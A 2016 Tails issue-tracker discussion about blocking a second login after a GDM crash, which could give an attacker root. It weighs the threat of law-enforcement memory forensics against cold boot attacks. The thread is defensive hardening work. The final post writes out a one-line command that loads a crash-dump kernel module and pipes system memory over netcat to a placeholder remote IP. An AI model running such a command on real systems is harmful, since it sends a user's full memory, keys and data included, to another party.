Tails

#3 Updated by cypherpunks 2016-02-09 12:49:05

A malicious program could fork to the background, crash gdm3, then abuse access to the X11 cookie (which it can access due to having been run by uid 1000) to create a new password. But you’re right it could also be used in a game-over situation. But I personally would hope that, without knowledge of the root key, you cannot reliably get root.

When a live system is seized by law enforcement, they often need to image the system’s memory for forensic purposes. Usually they insmod code which stops all processes and writes the contents of memory over the network, sort of like a /dev/mem with extra functionality. I believe they often simply use RedHat’s crashdev module. I hate the idea of not only not making that process difficult, but why make it downright trivial? As https://tails.boum.org/blueprint/protect_against_external_bus_memory_forensics/ says, “It should not be that easy, for an attacker with physical access, to retrieve Tails memory.”.

For example of how physical access doesn’t automatically imply root access (for a live system), see https://media.blackhat.com/bh-dc-11/Case/BlackHat_DC_2011_Case_De-Anonymizing_Live_CDs-wp.pdf which is an entire research paper on how to take advantage of being able to access physical memory on Tails, so clearly it’s only an end-game situation when “they” are able to make good use of the data. In this specific example, they use live memory forensics to recover deleted files in tmpfs. There are numerous other such research papers, each of which requires being able to easily get root access on a physically seized machine. This is just one example which is short and easy to read. If necessary, I can provide countless more.

Is there a very detailed writeup of Tails’ threat model anywhere? I know Tor Browser has one available, but I haven’t seen one for Tails.

#4 Updated by anonym 2016-02-10 13:38:44

First let me clarify that the current state of things where one can login via Tails Greeter more than once is not intentional. It works by coincidence; in its implementation we assume that there will only be one login to make things simpler, e.g. we don’t try to make Greeter settings idempotent or anything. Hence I see no reason why we shouldn’t prevent a second login, except that we perhaps have more important things to do. So, imho, what remains is to:

1. assess how bad this is, so we know how to prioritize it, and

2. decide what to actually do when GNOME/GDM crashes.

If the fix for 2 is simple enough we do not have to waste too much time on 1. Something fairly simple and, I believe, satisfactory would be that when Tails Greeter starts after the first time, it shows a helpful message (“You need to restart Tails”) + shutdown and restart buttons, and do not allow login.

cypherpunks wrote:
> A malicious program could fork to the background, crash gdm3, then abuse access to the X11 cookie (which it can access due to having been run by uid 1000) to create a new password.

I would think that the cookie would expire after this type of crash, but I do not know the details of this part at all.

> When a live system is seized by law enforcement, they often need to image the system’s memory for forensic purposes. Usually they insmod code which stops all processes and writes the contents of memory over the network, sort of like a /dev/mem with extra functionality. I believe they often simply use RedHat’s crashdev module.

I have no real insight in their actual practices, but I have heard more media reports about them using cold boot attacks (i.e. cold rebooting into a live distro that will do the dumping). That seems pretty reasonable to me, and has the added benefit of being much less dependent on the system under investigation and not require admin privileges. What you describe feels like really dirty forensics. :) The cleanest way is of course to depend on dedicated hardware that the memory is physically moved to (after being cooled with freeze spray to prevent/lessen data loss) but I suppose not all LEOs have access to that. Doing the dumping from the investigated system seems like a pragmatic compromise, but imho cold boot attacks seems simpler and more efficient.

> Is there a very detailed writeup of Tails’ threat model anywhere? I know Tor Browser has one available, but I haven’t seen one for Tails.

See our design document where we indeed assume an adversary that can “raid the user at any moment” with the goal of “analys[ing] the […] memory”. Currently we rely on the user being able to perform an emergency shutdown to erase the memory, which imho is the only reliable solution because of cold boot attacks.

#5 Updated by intrigeri 2016-02-10 13:53:15

> So, imho, what remains is to:

> 1. assess how bad this is, so we know how to prioritize it, and
> 2. decide what to actually do when GNOME/GDM crashes.

> If the fix for 2 is simple enough we do not have to waste too much time on 1.

ACK.

> Something fairly simple and, I believe, satisfactory would be that when Tails Greeter starts after the first time, it shows a helpful message (“You need to restart Tails”) + shutdown and restart buttons, and do not allow login.

Works for me.

#6 Updated by cypherpunks 2016-02-11 03:25:20

anonym wrote:

> If the fix for 2 is simple enough we do not have to waste too much time on 1. Something fairly simple and, I believe, satisfactory would be that when Tails Greeter starts after the first time, it shows a helpful message (“You need to restart Tails”) + shutdown and restart buttons, and do not allow login.

Or you could skip the greeter and automatically log back in with the current settings.

> cypherpunks wrote:
> > A malicious program could fork to the background, crash gdm3, then abuse access to the X11 cookie (which it can access due to having been run by uid 1000) to create a new password.
>
> I would think that the cookie would expire after this type of crash, but I do not know the details of this part at all.

Yes the cookie would expire, but because the user is the same, a malicious program can trivially access the new cookie. This specific threat (an automated program exploiting this) might be mitigated if cgroups can be used to kill every process running as amnesia when Xorg crashes and it logs out, though that would still not prevent a human from using this to obtain forensically useful memory dumps, which I think is the bigger issue.

> > When a live system is seized by law enforcement, they often need to image the system’s memory for forensic purposes. Usually they insmod code which stops all processes and writes the contents of memory over the network, sort of like a /dev/mem with extra functionality. I believe they often simply use RedHat’s crashdev module.
>
> I have no real insight in their actual practices, but I have heard more media reports about them using cold boot attacks (i.e. cold rebooting into a live distro that will do the dumping). That seems pretty reasonable to me, and has the added benefit of being much less dependent on the system under investigation and not require admin privileges. What you describe feels like really dirty forensics. :) The cleanest way is of course to depend on dedicated hardware that the memory is physically moved to (after being cooled with freeze spray to prevent/lessen data loss) but I suppose not all LEOs have access to that. Doing the dumping from the investigated system seems like a pragmatic compromise, but imho cold boot attacks seems simpler and more efficient.

Remember that the media tends to report sensationalist things, and nothing catches tech nerd wannabes’ attention like a cold boot attack. But in reality, cold boot attacks are very uncommon now days due to the complexity of modern DRAM controllers. Specifically, almost all DDR3 SDRAM has a feature called memory scrambling, seeded by the BIOS at boot. It functions to ensure that each wire in the DRAM modules is not hit with successive 1s or 0s, to prevent rowhammer-like interference (JEDEC knew about this stuff long before it was well known among mere mortals like us…). As a side-effect, it makes cold boot attacks much harder without advanced reverse engineering of the specific DRAM modules and controller used by the target. It’s most likely not cryptographically secure (I’d have to check the Coreboot source to see if the size of the seed is even large enough), but an investigation is not going to involve advanced cryptanalysis on an unknown algorithm. They will get in trouble if they spend a long time with one case without getting useful results. Quote from Intel datasheets:

“The memory controller incorporates a DDR3 Data Scrambling feature to minimize the impact of excessive di/dt on the platform DDR3 VRs due to successive 1s and 0s on the data bus. […] As a result the memory controller uses a data scrambling feature to create pseudo-random patterns on the DDR3 data bus to reduce the impact of any excessive di/dt.”

The vast majority of Linux forensics involves getting root and dumping memory. You’re right that it’s dirty forensics though. They literally connect the system to one of their servers, load the memory dump software, and send the disk image and memory dump to it over netcat. But it’s forensically useful enough to be used in court. Whereas with cold boot attacks, I am not aware of one instance where it was usable in court, though it has been used to further investigations by e.g. obtaining encryption keys. But all of that involved old DDR3 or DDR2 SDRAM, not the low-power stuff we see in computers today (especially laptops).

> > Is there a very detailed writeup of Tails’ threat model anywhere? I know Tor Browser has one available, but I haven’t seen one for Tails.
>
> See our design document where we indeed assume an adversary that can “raid the user at any moment” with the goal of “analys[ing] the […] memory”. Currently we rely on the user being able to perform an emergency shutdown to erase the memory, which imho is the only reliable solution because of cold boot attacks.

Honestly I think it should be expanded to include physical attacks while the computer is on. It’s not necessarily impossible either, as you can significantly raise the bar. I’ve been planning on reading (G)MCH/PCH/ICH docs and ACPI table stuff to familiarize myself with physical attack vectors, and from the things I’ve learned so far, it is very possible to use software to protect from hardware attacks, even if it’s as simple as having tails support tboot. Obviously highly advanced attackers (TLAs) can get past this with enough effort. E.g. I bet you didn’t know that it’s possible for a hard drive to initiate HDD->host DMA over SATA. :) It’s typically disabled by default, but it has had virtually no people looking at it to make sure it is secure. Anyway back from that little tangent… The way people react when police or whoever burst in is unpredictable, and you can’t assume everyone will be able to yank out the USB or eject the DVD in time. The clever raids even involve actions like staging a robbery, or a car being re-posessed in an attempt to get the target to quickly leave his computer, after which the police burst in, hand cuff the guy, and take his powered on, unlocked computer.

The way I see it is, you have to choose between letting LE just run “sudo insmod ./crashdev.ko && nc 123.123.123.123 1234 < /dev/crash”, or forcing them to get a dedicated team of reverse engineers and cryptographers to mount an impractical attack which risks massive data loss. To me, the choice is obvious: raise the bar and force them to do the latter.

Sorry if this post was too tl;dr.